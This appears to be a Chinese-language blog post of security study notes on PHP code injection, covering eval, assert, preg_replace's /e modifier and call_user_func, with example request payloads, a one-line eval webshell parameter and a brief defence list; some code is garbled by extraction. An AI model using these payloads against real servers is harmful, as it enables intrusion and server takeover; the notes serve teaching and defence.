网络安全笔记-99-渗透-PHP代码注入

PHP代码注入

原理及成因

是指应用程序(web方面)过滤不严格,用户可以通过请求将代码注入到应用中执行。代码注入类似于SQL注入漏洞,SQLi是将SQL语句注入到数据库中,而代码执行则是可以把代码注入到应用中最终由服务器运行它。这样的漏洞如果没有特殊的过滤,相当于直接由一个web后门的存在。

漏洞危害

代码执行漏洞可以继承web用户权限,执行任意代码。如果服务器没有正确配置,web用户权限比较高,则可以读写目标服务器任意文件内容,甚至控制整个网站以及服务器。PHP中有很多函数和语句都会造成PHP代码执行漏洞。

相关函数与语句

eval():会将字符串当作代码来执行。


提交变量:

?code=phpinfo();

?code=${phpinfo()};

?code=1;phpinfo();

变量测试:

 
$a = 'hello';

echo $a;
echo " 
"
; echo "variable a is $a
"
;//variable a is hello echo 'variable a is $a
'
;//variable a is $a echo 'variable a is ($a)
'
;//variable a is ($a) echo "variable a is ($a)
"
;//variable a is (hello) echo 'variable a is {$a}
'
;//variable a is {$a} echo "variable a is { $a}
"
;//variable a is hello echo "variable a is '($a)'
"
;//variable a is '(hello)' echo "variable a is '{ $a}'
"
;//variable a is 'hello' ?>

assert():如果传入字符串会被当做PHP代码来执行



preg_replace:执行一个正则表达式的搜索和替换

preg_replace(pattern, replacement, subject):

pattern:要搜索的模式。是一个正则表达式字符串或者正则表达式字符数组

replacement:用于替换的字符串或字符数组

subject:要进行搜索或替换的字符串或字符数组

preg_replace(/正则匹配/修饰符,用于替换的字符串或字符串数组,要进行替换的字符串或字符串数组)
preg_replace("/(\d+)/", "1990", "2021,hello");\\-->1990,hello 
修饰符:
  • i:大小写不敏感
  • s:点匹配所有字符,包括换行符,如果没有修饰符,点号不匹配换后符
  • e:如果设置了这个被弃用的修饰符, preg_replace() 在进行了对替换字符串的后向引用替换之后, 将替换后的字符串作为php 代码评估执行(eval 函数方式),并使用执行结果作为实际参与替换的字符串。单引号、双引号、反斜线()和 NULL 字符在后向引用替换时会被用反斜线转义

preg_replace 的 /e 修正符会在后向引用时将引用的字符串使用eval函数的方式执行。

后向引用:对一个正则表达式模式或部分模式 将导致相关 匹配存储到一个临时缓冲区 中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 \n 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数

preg_replace("/(.*)/ei",'\\1','${phpinfo()}');



以上都能成功执行phpinfo()。

call_user_func():

第一个参数是被调用的回调函数,其余参数是回调函数的参数

call_user_func($_GET['func'],$_GET['para']);

传入参数:?func=assert¶=phpinfo()

call_user_func()_array:调用回调函数,并把一个数组参数作为回调函数的参数

动态函数: a ( a( a(b)


传入参数:?a=assert&b=phpinfo()

漏洞利用

直接获取shell

?cmd=@eval($_REQUEST[‘cmd’])

获取当前文件的绝对路径

__FILE__是PHP预定义常量,值为当前文件的绝对路径。

?cmd=print(__FILE__)

读写文件

file_get_contents():读取文件

file_put_contents():写文件

防御方法

  1. 尽量不使用eval结构,或危险函数
  2. 需要使用的话进行严格的过滤
  3. 修改配置文件:disable_functions=assert,call_user_func
  4. preg_replace_callback代替preg_replace

你可能感兴趣的:(网络安全笔记,PHP,代码注入,preg_replace,动态函数)